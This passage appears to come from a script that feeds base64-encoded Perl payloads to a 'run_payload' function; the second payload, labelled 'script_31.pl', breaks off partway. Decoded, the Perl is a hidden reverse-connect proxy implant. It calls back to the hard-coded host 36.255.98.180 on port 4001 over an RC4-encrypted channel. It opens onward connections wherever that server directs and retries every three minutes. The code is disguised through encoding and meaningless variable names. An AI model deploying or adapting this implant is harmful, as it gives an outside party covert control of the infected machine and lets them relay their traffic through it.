ZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_31.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTgwJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB